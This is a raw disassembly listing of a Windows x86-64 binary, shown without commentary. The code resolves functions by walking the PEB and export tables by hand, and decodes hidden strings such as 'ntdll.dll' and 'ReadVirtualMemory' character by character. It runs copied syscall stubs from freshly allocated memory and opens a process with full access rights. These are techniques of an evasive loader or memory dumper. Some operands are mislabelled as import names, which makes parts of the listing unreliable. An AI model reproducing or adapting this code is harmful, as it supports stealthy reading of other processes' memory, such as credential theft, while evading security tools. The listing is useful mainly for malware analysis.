sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x13570]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x2e490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x140026bfb
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x2e490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe44], eax
lea r9, [rbp + 0xe44]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x18]
lea r8, [rbp + 0x28238]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xe44]
mov r8d, dword [rbp + 0xe44]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bcba0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400e8364], edi
mov eax, dword [rsp + 0x60]
jmp 0x140025f04
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140026f6b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140026f6b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140026f6b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140026f6b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140026f6b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x2c1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140026d8e
inc rax
test edi, edi
jne 0x140026d79
mov edi, 1
test r8d, r8d
je 0x140026da6
add rdx, rdi
cmp rdx, qword [rbp - 0x60]
jb 0x140026d68
jmp 0x140026f70
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140026f70
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
cmp eax, edi
jl 0x140026f70
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140094c90
or dword [rbp + 0x15c84], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x14900]
call fcn.140036bc4
lea rcx, [rbp + 0x14900]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0x14900]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x2f490], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x140026e47
mov esi, reloc.WS2_32.dll_sendto
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x2f490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe40], eax
lea r9, [rbp + 0xe40]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x20]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xce0]
call rdi
mov edi, eax
lea r9, [rbp + 0xe40]
mov r8d, dword [rbp + 0xe40]
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x78]
call fcn.1400bcba0
lea edx, [rsi - 9]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
test edi, edi
js 0x14002e4a3
mov edi, 1
mov rax, qword [rbp + 0xce0]
mov qword [rbp + 0x218], rax
cmp rax, 0xffffffffffffffff
je 0x14002e4a3
mov byte [rbp + 0x6f8], 0x40
mov r9, r12
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x6f9], al
mov r9, r12
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x6fa], al
mov r9, r12
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x6fb], al
mov r9, r12
mov r8d, 3
mov dl, 0x61
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x6fc], al
mov r9, r12
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x6fd], al
mov r9, r12
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x6fe], al
mov r9, r12
mov r8d, 6
mov dl, 0x46
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x6ff], al
mov r9, r12
mov r8d, 7
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x700], al
mov r9, r12
mov r8d, 8
mov dl, WSAStartup
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x701], al
mov r9, r12
mov r8d, 9
mov dl, 0x53
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x702], al
mov r9, r12
mov r8d, 0xa
mov dl, 0x69
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x703], al
mov r9, r12
mov r8d, ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x704], al
mov r9, r12
mov r8d, ntohs
mov dl, 0x67
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x705], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x706], al
mov r9, r12
mov r8d, select
mov dl, 0x65
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x707], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x708], al
mov r9, r12
mov r8, r13
mov dl, 0x62
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x709], al
mov r9, r12
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x70a], al
mov r9, r12
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x70b], al
mov r9, r12
mov edi, reloc.WS2_32.dll_send
mov r8d, edi
mov dl, 0x63
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x70c], al
mov r9, r12
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + 0x70d], al
xor eax, eax
mov byte [rbp + 0x70e], al
mov esi, eax
lea r13d, [rdi - 0x12]
mov r9, r12
mov r8, rsi
mov dl, byte [rbp + rsi + 0x6f9]
lea rcx, [rbp + 0x6f8]
call fcn.140035ed8
mov byte [rbp + rsi + 0x6f9], al
add rsi, r13
cmp rsi, r12
jb 0x1400271f1
mov r13d, reloc.WS2_32.dll_recv
xor r14d, r14d
mov byte [rbp + 0x70e], r14b
mov byte [rbp + 0x208], 0x7a
lea ebx, [r13 - 7]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + 0x209], al
mov r9d, ebx
lea ebx, [r13 - 0xf]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + 0x20a], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + 0x20b], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + 0x20c], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + 0x20d], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xb]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + 0x20e], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xa]
mov dl, 0x64
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + 0x20f], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + 0x210], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + 0x211], al
xor eax, eax
mov byte [rbp + 0x212], al
mov r9d, 9
mov r8, r14
mov dl, byte [rbp + r14 + 0x209]
lea rcx, [rbp + 0x208]
call fcn.140035cf8
mov byte [rbp + r14 + 0x209], al
add r14, rbx
cmp r14, 9
jb 0x140027338
mov ebx, reloc.WS2_32.dll_recvfrom
xor ecx, ecx
lea r14d, [rbx + 6]
mov byte [rbp + 0x212], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400276d6
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14002741d
lea r15d, [rcx + 1]
mov r11d, r15d
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rsi + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + r8*2]
mov byte [r9 + r8], al
add r11d, r15d
add r8, r15
cmp r8, r10
jl 0x1400273e9
mov r14d, reloc.WS2_32.dll_socket
lea r15d, [r14 + 9]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140027479
mov rax, rcx
lea r9, [rbp + 0x209]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140027472
add rax, r11
test edx, edx
jne 0x14002745d
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x14002749d
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140027399
jmp 0x1400276d1
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x1400276d1
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400276d1
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400276d1
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400276d1
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x1400276d1
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6f9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002752f
inc rax
test edi, edi
jne 0x14002751a
xor edi, edi
test r8d, r8d
je 0x140027544
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140027509
jmp 0x1400276d1
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400276d1
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400276d1
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.140094c90
or dword [rbp + 0x17014], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x15c90]
call fcn.140036bc4
lea rcx, [rbp + 0x15c90]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x15c90]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x30490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x1400275e8
mov r13d, reloc.WS2_32.dll_recv
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x30490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe3c], eax
lea r9, [rbp + 0xe3c]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x218]
call rdi
lea r9, [rbp + 0xe3c]
mov r8d, dword [rbp + 0xe3c]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bcba0
lea edx, [r13 - 5]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
mov edi, reloc.WS2_32.dll_send
xor r12d, r12d
mov qword [rbp + 0xeb0], r12
mov byte [rbp + 0x4b8], 0x3d
mov r9, rdi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4b9], al
mov r9, rdi
lea esi, [r12 + 1]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4ba], al
mov r9, rdi
lea r8d, [r12 + 2]
mov dl, 0x52
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4bb], al
mov r9, rdi
lea r8d, [r12 + 3]
mov dl, 0x65
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4bc], al
mov r9, rdi
lea r8d, [r12 + 4]
mov dl, 0x61
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4bd], al
mov r9, rdi
lea r8d, [r12 + 5]
mov dl, 0x64
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4be], al
mov r9, rdi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4bf], al
mov r9, rdi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c0], al
mov r9, rdi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c1], al
mov r9, rdi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c2], al
mov r9, rdi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c3], al
mov r9, rdi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c4], al
mov r9, rdi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c5], al
mov r9, rdi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c6], al
mov r9, rdi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c7], al
mov r9, rdi
lea r8d, [r12 + 0xf]
mov dl, 0x6d
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c8], al
mov r9, rdi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4c9], al
mov r9, rdi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4ca], al
mov r9, rdi
lea r8d, [r12 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + 0x4cb], al
xor eax, eax
mov byte [rbp + 0x4cc], al
mov r9, rdi
mov r8, r12
mov dl, byte [rbp + r12 + 0x4b9]
lea rcx, [rbp + 0x4b8]
call fcn.140036564
mov byte [rbp + r12 + 0x4b9], al
add r12, rsi
cmp r12, rdi
jb 0x140027900
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x4cc], dil
mov byte [rbp + 0xa8], 0x56
lea r15d, [rsi - 0xb]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + 0xa9], al
mov r9d, r15d
lea r15d, [rsi - 0x13]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + 0xaa], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + 0xab], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + 0xac], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + 0xad], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + 0xae], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + 0xaf], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + 0xb0], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + 0xb1], al
xor eax, eax
mov byte [rbp + 0xb2], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa9]
lea rcx, [rbp + 0xa8]
call fcn.140035cf8
mov byte [rbp + rdi + 0xa9], al
add rdi, r15
cmp rdi, 9
jb 0x140027a47
xor eax, eax
lea r15d, [rax + 0x20]
mov byte [rbp + 0xb2], al
mov rax, qword gs:[0x60]
xor edi, edi
test rax, rax
je 0x140027dfa
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140027b2a
lea r13d, [rcx + 1]
mov r11d, r13d
mov rdx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r14 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + r8*2]
mov byte [r9 + r8], al
add r11d, r13d
add r8, r13
cmp r8, r10
jl 0x140027af3
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 3]
lea r13d, [rsi - 4]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140027b86
mov rax, rcx
lea r9, [rbp + 0xa9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140027b7f
add rax, r11
test edx, edx
jne 0x140027b6a
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x140027baa
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140027aa3
jmp 0x140027df8
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140027df8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140027df8
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140027df8
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140027df8
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
xor edi, edi
test rax, rax
je 0x140027dfa
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4b9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140027c3c
inc rax
test edi, edi
jne 0x140027c27
test r8d, r8d
je 0x140027c4f
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140027c16
jmp 0x140027df8
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140027df8
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140027df8
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140094c90
or dword [rbp + 0x183a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x17020]
call fcn.140036bc4
lea rcx, [rbp + 0x17020]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x17020]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x31490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x140027cf5
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x31490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe38], eax
lea r9, [rbp + 0xe38]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rbx - 9]
lea r8, [rbp + 0xeb0]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x20]
call rdi
mov edi, eax
lea r9, [rbp + 0xe38]
mov r8d, dword [rbp + 0xe38]
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x78]
call fcn.1400bcba0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
test edi, edi
js 0x14002cdb5
xor edi, edi
mov rax, qword [rbp + 0xbd8]
cmp qword [rax], rdi
je 0x14002b0ca
mov rdi, qword [rsp + 0x70]
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x40490]
call fcn.1400bcba0
mov byte [rbp + 0x698], 0x52
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x699], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x69a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x69b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x69c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x69d], al
mov r9, rsi
